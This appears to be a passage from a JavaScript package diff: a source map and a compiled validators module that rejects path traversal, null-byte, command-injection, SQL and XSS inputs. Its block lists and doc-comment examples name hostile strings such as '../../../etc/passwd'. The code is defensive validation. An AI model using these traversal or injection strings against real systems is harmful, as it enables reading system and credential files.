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","names":["validator"]}
@@ -0,0 +1,123 @@
1
+ "use strict";
2
+ var __defProp = Object.defineProperty;
3
+ var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
4
+ var __getOwnPropNames = Object.getOwnPropertyNames;
5
+ var __hasOwnProp = Object.prototype.hasOwnProperty;
6
+ var __export = (target, all) => {
7
+ for (var name in all)
8
+ __defProp(target, name, { get: all[name], enumerable: true });
9
+ };
10
+ var __copyProps = (to, from, except, desc) => {
11
+ if (from && typeof from === "object" || typeof from === "function") {
12
+ for (let key of __getOwnPropNames(from))
13
+ if (!__hasOwnProp.call(to, key) && key !== except)
14
+ __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
15
+ }
16
+ return to;
17
+ };
18
+ var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
19
+
20
+ // src/validators.ts
21
+ var validators_exports = {};
22
+ __export(validators_exports, {
23
+ isValidFilePath: () => isValidFilePath,
24
+ isValidFileSize: () => isValidFileSize,
25
+ isValidTextContent: () => isValidTextContent
26
+ });
27
+ module.exports = __toCommonJS(validators_exports);
28
+ function isValidFilePath(filePath) {
29
+ if (!filePath || typeof filePath !== "string") return false;
30
+ if (typeof filePath === "object") return false;
31
+ if (filePath.length === 0 || filePath.length > 1e3) return false;
32
+ if (filePath.includes("../") || filePath.includes("..\\")) return false;
33
+ const suspiciousPatterns = ["//", "\\\\", "//\\", "\\//", "/./", "\\.\\"];
34
+ if (suspiciousPatterns.some((pattern) => filePath.includes(pattern))) return false;
35
+ const encodedPatterns = [
36
+ "%2e%2e%2f",
37
+ // ../
38
+ "%2e%2e/",
39
+ // ../
40
+ "%2e%2e%5c",
41
+ // ..\
42
+ "%252e"
43
+ // double-encoded
44
+ ];
45
+ if (encodedPatterns.some((pattern) => filePath.toLowerCase().includes(pattern))) return false;
46
+ if (filePath.includes("\0")) return false;
47
+ const commandChars = [";", "&", "|", "`", "$", "(", ")", "{", "}"];
48
+ if (commandChars.some((char) => filePath.includes(char))) return false;
49
+ const sqlPatterns = ["'", '"', "--", "/*", "*/", "DROP", "DELETE", "UNION", "SELECT"];
50
+ const lowerPath = filePath.toLowerCase();
51
+ if (sqlPatterns.some(
52
+ (pattern) => lowerPath.includes(pattern.toLowerCase()) && (pattern === "'" || pattern === '"' || lowerPath.includes(` ${pattern.toLowerCase()}`))
53
+ ))
54
+ return false;
55
+ const dangerousUnicode = [
56
+ "\u202E",
57
+ // Right-to-left override
58
+ "\u200B",
59
+ // Zero-width space
60
+ "\u200C",
61
+ // Zero-width non-joiner
62
+ "\u200D",
63
+ // Zero-width joiner
64
+ "\uFEFF"
65
+ // Zero-width no-break space
66
+ ];
67
+ if (dangerousUnicode.some((char) => filePath.includes(char))) return false;
68
+ if (/^[A-Za-z]:\\.*\\\.\./.test(filePath)) return false;
69
+ return true;
70
+ }
71
+ function isValidFileSize(size, maxSize) {
72
+ return typeof size === "number" && size >= 0 && size <= maxSize;
73
+ }
74
+ function isValidTextContent(content, options = {}) {
75
+ const { maxLength = 1e6 } = options;
76
+ if (typeof content !== "string") return false;
77
+ if (content.length > maxLength) return false;
78
+ const lowerContent = content.toLowerCase();
79
+ const scriptPatterns = ["<script", "</script", "<scr<script>ipt", "<scr\0ipt"];
80
+ if (scriptPatterns.some((pattern) => lowerContent.includes(pattern))) return false;
81
+ const eventHandlers = [
82
+ "onerror",
83
+ "onload",
84
+ "onclick",
85
+ "onmouseover",
86
+ "onfocus",
87
+ "onblur",
88
+ "oninput"
89
+ ];
90
+ if (eventHandlers.some((handler) => lowerContent.includes(handler))) return false;
91
+ const protocolPatterns = [
92
+ "javascript:",
93
+ "data:text/html",
94
+ "data:text/javascript",
95
+ "data:application",
96
+ "vbscript:",
97
+ "file:///",
98
+ "steam://",
99
+ "slack://"
100
+ ];
101
+ if (protocolPatterns.some((pattern) => lowerContent.includes(pattern))) return false;
102
+ const encodedPatterns = [
103
+ "&#60;script",
104
+ // &#60; = <
105
+ "%3cscript",
106
+ // %3c = <
107
+ "\\x3cscript",
108
+ // \x3c = <
109
+ "\\u003cscript"
110
+ // \u003c = <
111
+ ];
112
+ if (encodedPatterns.some((pattern) => lowerContent.includes(pattern))) return false;
113
+ if (lowerContent.includes("<svg") && lowerContent.includes("onload")) return false;
114
+ if (lowerContent.includes("<iframe")) return false;
115
+ return true;
116
+ }
117
+ // Annotate the CommonJS export names for ESM import in node:
118
+ 0 && (module.exports = {
119
+ isValidFilePath,
120
+ isValidFileSize,
121
+ isValidTextContent
122
+ });
123
+ //# sourceMappingURL=validators.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../../src/validators.ts"],"sourcesContent":["/**\n * File and security validators\n *\n * This module provides validation functions for file operations and content security.\n * Functions implement basic security checks to prevent common attack vectors:\n * - Path traversal attacks (../, ..\\)\n * - XSS injection (script tags, javascript: URLs)\n * - File size limits\n *\n * ⚠️ WARNING: These are basic validations. For production systems, consider:\n * - Additional OS-specific path validation\n * - Symbolic link resolution checking\n * - Comprehensive XSS prevention libraries (e.g., DOMPurify)\n * - Content-Type validation\n * - Virus scanning for uploaded files\n */\n\n/**\n * Validates file path for security vulnerabilities\n *\n * Protects against common path traversal attacks by checking for:\n * - Parent directory references (../, ..\\)\n * - Mixed path separators (//\\, \\\\)\n * - Excessive path length (>1000 chars)\n * - Empty or null paths\n *\n * ⚠️ SECURITY NOTE: This is basic validation. For production use, consider:\n * - Validating against an allowed directory whitelist\n * - Resolving symbolic links\n * - OS-specific path rules (Windows vs Unix)\n * - Canonicalization before validation\n *\n * @param filePath - File path string to validate\n * @returns True if path appears safe, false if potentially dangerous\n *\n * @example\n * ```typescript\n * // Safe paths - Allowed\n * isValidFilePath('./data/users.json') // true\n * isValidFilePath('data/users.json') // true\n * isValidFilePath('/absolute/path/file.txt') // true\n * isValidFilePath('C:\\\\Users\\\\data\\\\file.txt') // true\n *\n * // Dangerous paths - Path traversal attacks\n * isValidFilePath('../../../etc/passwd') // false\n * isValidFilePath('data/../../../etc/passwd') // false\n * isValidFilePath('..\\\\..\\\\..\\\\windows\\\\system32\\\\config') // false\n * isValidFilePath('data//\\\\..//config') // false\n *\n * // Invalid paths - Malformed\n * isValidFilePath('') // false\n * isValidFilePath(null as any) // false\n * isValidFilePath(undefined as any) // false\n * isValidFilePath('x'.repeat(1001)) // false (too long)\n *\n * // Real-world usage in file operations\n * async function readUserFile(userPath: string) {\n * if (!isValidFilePath(userPath)) {\n * throw new Error('Invalid or unsafe file path detected')\n * }\n *\n * // Additional check: ensure path is within allowed directory\n * const allowedDir = '/var/app/uploads'\n * const fullPath = path.join(allowedDir, userPath)\n *\n * return fs.readFile(fullPath, 'utf-8')\n * }\n * ```\n *\n * @see {@link isValidTextContent} for content security validation\n * @see {@link isValidFileSize} for file size validation\n */\nexport function isValidFilePath(filePath: string): boolean {\n // ✅ Type and null checks\n if (!filePath || typeof filePath !== 'string') return false\n\n // ✅ Handle type coercion attempts\n if (typeof filePath === 'object') return false\n\n // ✅ Length limits (DoS prevention)\n if (filePath.length === 0 || filePath.length > 1000) return false\n\n // ✅ Path traversal patterns (Unix and Windows)\n // Reject parent directory traversal (..)\n if (filePath.includes('../') || filePath.includes('..\\\\')) return false\n\n // Reject mixed/double slashes (but allow ./ and .\\ at start for relative paths)\n const suspiciousPatterns = ['//', '\\\\\\\\', '//\\\\', '\\\\//', '/./', '\\\\.\\\\']\n if (suspiciousPatterns.some(pattern => filePath.includes(pattern))) return false\n\n // ✅ URL-encoded path traversal\n const encodedPatterns = [\n '%2e%2e%2f', // ../\n '%2e%2e/', // ../\n '%2e%2e%5c', // ..\\\n '%252e', // double-encoded\n ]\n if (encodedPatterns.some(pattern => filePath.toLowerCase().includes(pattern))) return false\n\n // ✅ Null byte injection\n if (filePath.includes('\\x00')) return false\n\n // ✅ Command injection characters\n const commandChars = [';', '&', '|', '`', '$', '(', ')', '{', '}']\n if (commandChars.some(char => filePath.includes(char))) return false\n\n // ✅ SQL injection attempts\n const sqlPatterns = [\"'\", '\"', '--', '/*', '*/', 'DROP', 'DELETE', 'UNION', 'SELECT']\n const lowerPath = filePath.toLowerCase()\n if (\n sqlPatterns.some(\n pattern =>\n lowerPath.includes(pattern.toLowerCase()) &&\n (pattern === \"'\" || pattern === '\"' || lowerPath.includes(` ${pattern.toLowerCase()}`))\n )\n )\n return false\n\n // ✅ Unicode attacks (RTL override, zero-width)\n const dangerousUnicode = [\n '\\u202E', // Right-to-left override\n '\\u200B', // Zero-width space\n '\\u200C', // Zero-width non-joiner\n '\\u200D', // Zero-width joiner\n '\\uFEFF', // Zero-width no-break space\n ]\n if (dangerousUnicode.some(char => filePath.includes(char))) return false\n\n // ✅ Absolute Windows paths trying to escape\n if (/^[A-Za-z]:\\\\.*\\\\\\.\\./.test(filePath)) return false\n\n return true\n}\n\n/**\n * Validates file size against a maximum limit\n *\n * Checks if a file size is valid (non-negative) and within acceptable limits.\n * Used to prevent:\n * - Denial of Service (DoS) attacks via large file uploads\n * - Disk space exhaustion\n * - Memory overflow during file processing\n *\n * @param size - File size in bytes to validate\n * @param maxSize - Maximum allowed size in bytes\n * @returns True if size is valid and within limit, false otherwise\n *\n * @example\n * ```typescript\n * // Common size limits\n * const KB = 1024\n * const MB = 1024 * KB\n * const GB = 1024 * MB\n *\n * // Image upload validation (5 MB limit)\n * const imageSize = 4 * MB\n * isValidFileSize(imageSize, 5 * MB) // true\n *\n * // Document upload validation (10 MB limit)\n * const 